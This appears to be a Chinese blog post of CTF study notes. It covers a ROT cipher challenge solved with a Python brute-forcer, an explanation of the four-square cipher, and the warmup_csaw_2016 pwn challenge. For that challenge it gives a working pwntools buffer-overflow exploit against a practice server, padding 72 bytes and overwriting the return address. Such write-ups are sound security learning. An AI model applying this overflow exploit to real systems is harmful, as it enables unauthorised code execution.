CTF學習記錄

0x01 Crypto

ROT

題目鏈接:點擊獲取

思路

首先,需要了解什麼是ROT。ROT是一種簡單的替換算法,這種算法的主要加密方法是將所有明文密碼同時左移或者右移某一長度,常見的是ROT13。ROT可以在二十六個字母之間替換,也可以在所有可見字符替換,如果沒有指明是什麼替換的話,全部試一遍也許是個不錯的選擇,運算量也不大。愷撒加密可以是爲ROT的一種。

解密代碼

import hashlib

cipher = [83, 89, 78, 84, 45, 86, 96, 45, 115, 121, 110, 116, 136, 132, 132, 132, 108, 128, 117, 118, 134, 110, 123,
          111, 110, 127, 108, 112, 124, 122, 108, 118, 128, 108, 131, 114, 127, 134, 108, 116, 124, 124, 113, 108, 76,
          76, 76, 76, 138, 23, 90, 81, 66, 71, 64, 69, 114, 65, 112, 64, 66, 63, 69, 61, 70, 114, 62, 66, 61, 62, 69,
          67, 70, 63, 61, 110, 110, 112, 64, 68, 62, 70, 61, 112, 111, 112]

def check():
    flag = "flag{www_shiyanbar_com_is_very_good_"
    # print hashlib.md5(flag).hexdigest()
    for a in range(32, 127):
        for b in range(32, 127):
            for c in range(32, 127):
                for d in range(32, 127):
                    print flag + chr(a) + chr(b) + chr(c) + chr(d) + "}"
                    if str(hashlib.md5(flag + chr(a) + chr(b) + chr(c) + chr(
                            d) + "}").hexdigest()) == "38e4c352809e150186920aac37190cbc":
                        print flag + chr(a) + chr(b) + chr(c) + chr(d)
                        return
if __name__ == '__main__':
    for j in range(16):
        flag = ""
        for i in cipher:
            flag += chr(i - j)
        print flag
    check()

flag

本來以爲flag後面都是小寫字母,所以一開始只跑了小寫字母,跑了半天跑不出來,擴大範圍後成功搞定:

img

四面八方

題目鏈接:點擊獲取

思路

來自題目的提示,四面八方,提示四方密碼。四方密碼是一種對稱式加密法,由法國人Felix Delastelle(1840年–1902年)發明。 這種方法將字母兩個一組,然後採用多字母替換密碼。首先選擇兩個英文字作密匙,例如example和keyword。對於每一個密匙,將重複出現的字母去除,即example要轉成exampl,然後將每個字母順序放入矩陣,再將餘下的字母順序放入矩陣,便得出加密矩陣。
將這兩個加密矩陣放在右上角和左下角,餘下的兩個角放a到z順序的矩陣:
加密的步驟:

  1. 兩個字母一組地分開訊息:(例如hello world變成he ll ow or ld);
  2. 找出第一個字母在左上角矩陣的位置;
  3. 同樣道理,找第二個字母在右下角矩陣的位置;
  4. 找右上角矩陣中,和第一個字母同行,第二個字母同列的字母;
  5. 找左下角矩陣中,和第一個字母同列,第二個字母同行的字母;
  6. 得到的這兩個字母就是加密過的訊息。
  7. he lp me ob iw an ke no bi的加密結果:FY NF NE HW BX AF FO KH MD

flag

自己動手畫

0x02 PWN

warmup_csaw_2016

題目鏈接:點擊獲取

思路

IDA打開之後,可以看到:

可以看到危險函數gets,常見的危險函數還有strcpy,strcat,sprintf。這些函數可以造成緩衝區溢出。簡單的說,我們需要用數據填充緩衝區,覆蓋返回地址,這樣我們就可以控制代碼執行。在這個程序中,存在一個構造好的函數,用於讀取flag。

這個地址也被輸給我們了,所以我們只要確定到底要覆蓋多長就行了。開啓pwn-dbg調試。

我們可以用python的pwn模塊下的cyclic函數構造一個比較長的字符串並輸入,可以發現:

可以發現長度爲72

代碼

import pwn
#p = pwn.process('./warmup_csaw_2016')
p = pwn.remote('node3.buuoj.cn',26272)
elf = pwn.ELF('./warmup_csaw_2016')
assdr = 0x40060d
pwn.context.log_level = 'DEBUG'
pwn.context(arch='amd64', os='linux')
shellcode = 'a'*72+pwn.p64(assdr)
p.sendline(shellcode)
p.interactive()#
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章